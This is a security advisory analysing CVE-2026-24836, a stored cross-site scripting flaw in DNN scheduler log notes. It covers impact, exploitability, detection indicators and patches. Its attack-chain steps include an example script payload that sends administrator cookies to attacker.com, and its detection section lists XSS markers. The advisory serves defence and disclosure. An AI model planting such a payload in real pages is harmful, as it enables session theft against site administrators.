CVE-2026-24836: 
C# vulnerability analysis and mitigation

CVE-2026-24836 is a stored cross-site scripting (XSS) vulnerability in DNN (formerly DotNetNuke), an open-source web content management platform in the Microsoft ecosystem. Starting in version 9.0.0, extensions can write richtext in scheduler log notes that include malicious scripts, which execute in the context of the PersonaBar when an administrator views them. Affected versions are 9.0.0 through 9.13.9 and 10.0.0 through 10.1.x; fixed versions are 9.13.10 and 10.2.0. The vulnerability was published on January 27–28, 2026. The vendor advisory assigns a CVSS v3.1 score of 7.6 (High), while NVD records a score of 5.4 (Medium) (GitHub Advisory, DNN Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting): DNN extensions are permitted to write richtext content into scheduler log notes without adequate sanitization, allowing embedded JavaScript or HTML to be stored persistently in the database. When an administrator opens the PersonaBar and views the affected log entries, the unsanitized content is rendered by the browser and the injected script executes in the administrator's session context. Exploitation requires that the attacker have sufficient privileges to install or control a DNN extension (high privileges required), and that a victim administrator subsequently views the malicious log note (user interaction required). No public proof-of-concept code has been identified (GitHub Advisory, DNN Advisory).

Successful exploitation could allow an attacker to execute arbitrary JavaScript in the browser session of an administrator viewing the PersonaBar, potentially leading to session hijacking, credential theft, unauthorized administrative actions, or further compromise of the DNN installation. Because the scope changes (the injected script runs in the administrator's browser context rather than the extension's), confidentiality and integrity of the admin session are at risk. Availability is not directly impacted by this vulnerability (GitHub Advisory, DNN Advisory).

There is no evidence of public proof-of-concept exploit code or active in-the-wild exploitation as of the time of publication. The EPSS score is approximately 0.038% (0.000380), placing it in a low percentile for near-term exploitation likelihood. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires high privileges (extension installation rights) and user interaction, which significantly limits the attack surface (GitHub Advisory, DNN Advisory).

1. Privilege Acquisition: Obtain or abuse an account with sufficient DNN privileges to install or manage extensions (typically a Host/SuperUser account).
2. Malicious Extension Preparation: Develop or modify a DNN extension that, during its scheduled task execution, writes richtext content containing a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the scheduler log notes via the DNN logging API.
3. Extension Installation: Install the malicious extension on the target DNN instance through the Extensions management interface in the PersonaBar or via direct file upload.
4. Trigger Log Entry: Allow the scheduled task to run (or manually trigger it), causing the malicious richtext log note to be written to the DNN event log/scheduler log database.
5. Victim Interaction: Wait for a target administrator to open the PersonaBar and navigate to the Scheduler or Logs section where the malicious log note is displayed.
6. Script Execution: The browser renders the unsanitized richtext, executing the injected script in the administrator's session context, enabling session token theft, credential harvesting, or further administrative actions on behalf of the attacker (GitHub Advisory, DNN Advisory).

• Logs: Unexpected or anomalous richtext content (e.g., <script>, <img onerror=, javascript:) appearing in DNN scheduler log notes or event log entries; review the EventLog and scheduler history tables in the DNN database.
• Network: Outbound HTTP requests from administrator browsers to unknown external domains shortly after viewing the PersonaBar Logs or Scheduler sections; unusual POST requests carrying session tokens or cookies to external endpoints.
• File System: Presence of newly installed or recently modified DNN extension packages (.zip or .install.zip files) in the DNN installation directory that were not authorized by administrators.
• Process/Application: Unexpected DNN extension entries in the Extensions list within the PersonaBar that were not explicitly installed by known administrators.

DNN has released patched versions 9.13.10 and 10.2.0 that address this vulnerability; organizations should upgrade to one of these versions as the primary remediation (DNN Advisory). As interim mitigations, restrict extension installation privileges to a minimal set of trusted administrators, and audit currently installed extensions for any unauthorized or suspicious entries. Deploying a Web Application Firewall (WAF) with XSS detection rules can help detect or block attempts to inject script content through extension log notes. Regularly review scheduler log entries and event logs for unexpected richtext or script content.

The vulnerability was reported by security researcher mojav3r and remediated by DNN developer bdukes, with the advisory published by valadas on January 27, 2026 (DNN Advisory). Coverage appeared on security aggregation sites including The Hacker Wire, InfinitSec, and CtrlAltNod shortly after disclosure. The CISA vulnerability bulletin for the week of January 26, 2026 referenced this CVE. Community reaction has been limited given the high privilege requirement and absence of public exploit code.